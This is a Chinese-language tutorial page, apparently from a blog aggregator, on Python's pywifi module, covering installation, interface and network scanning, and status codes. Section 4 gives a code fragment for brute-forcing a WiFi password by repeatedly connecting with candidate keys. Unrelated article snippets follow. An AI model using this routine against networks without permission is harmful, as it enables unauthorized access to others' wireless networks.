030 Python語法之pywifi模組

2021-09-28 21:49:50 字數 1518 閱讀 3851

拿到pywifi資料夾

如果有pip環境變數就直接cd進入pywifi目錄

輸入pip install .

如果沒有環境變數就cd進pip的目錄

然後pip install pywifi目錄

1. 抓取無線網絡卡

pywifi.set_loglevel(logging.info)   # 輸出日誌

wifi = pywifi.pywifi() # 抓取wifi介面

ifacelist = wifi.inte***ces() # 抓取無線網絡卡列表

iface = ifacelist[0] # 如果有無線網絡卡第乙個一般就是你要的

2. 找到wifi列表
wifi = pywifi.pywifi()  # 抓取wifi介面

iface = wifi.inte***ces()[0] # 抓取無線網絡卡列表

iface.scan() # 掃瞄

time.sleep(5)

bsses = iface.scan_results() # 掃瞄到的結果

for pjwifi in bsses:

print(pjwifi.ssid) # 所有wifi名

print(pjwifi.bssid) # mac位址

print(pjwifi.signal) # 訊號強度(值越大訊號越強)

3. 測試網絡卡狀態
iface = wifi.inte***ces()[0]

iface.status()-->

const.iface_disconnected:0沒有連線

const.iface_inactive:2沒有啟用

const.iface_connected:1連線好了

4. 針對某一wifi進行密碼爆破
'''爆破密碼'''

profile = pywifi.profile() # 建立wifi鏈結檔案

profile.ssid = wifiname # wifi名稱,不加會報錯

profile.auth = const.auth_alg_open # 網絡卡的開放

profile.cipher = const.cipher_type_ccmp # 加密單元

profile.key = pwd # 密碼

self.iface.remove_all_network_profiles() # 刪除所有的wifi檔案

tmp_profile = self.iface.add_network_profile(profile) # 設定新的鏈結檔案

self.iface.connect(tmp_profile) # 鏈結

time.sleep(5)

connectstatus = self.iface.status() == const.iface_connected

self.iface.disconnect() # 斷開連線

time.sleep(1)

Python語法之With語句

有一些任務,可能事先需要設定,事後做清理工作。對於這種場景,python的with語句提供了一種非常方便的處理方式。乙個很好的例子是檔案處理,你需要獲取乙個檔案控制代碼,從檔案中讀取資料,然後關閉檔案控制代碼。如果不用with語句,如下 file open tmp foo.txt data file...

Python基本語法之模組

什麼是模組?模組是乙個包含所有你定義的函式和變數的檔案,或者是系統定義的標準檔案,字尾名是.py,可以供我們呼叫。呼叫標準模組 示例 import sys for i in sys.argv print i print n npython path sys.path,n 示例執行結果 呼叫自定義模組...

Python基礎語法之 Lambda

表示式及定義 lambda arg1 arg2,arg3,argn expression python核心程式設計 從 python核心程式設計 書本中包含了以上lambda表示式的表述。也就是說在lambda右側的式子中,冒號左邊的為引數值,右邊的為計算表示式。例項說明 1.單層引數求和 現在假設...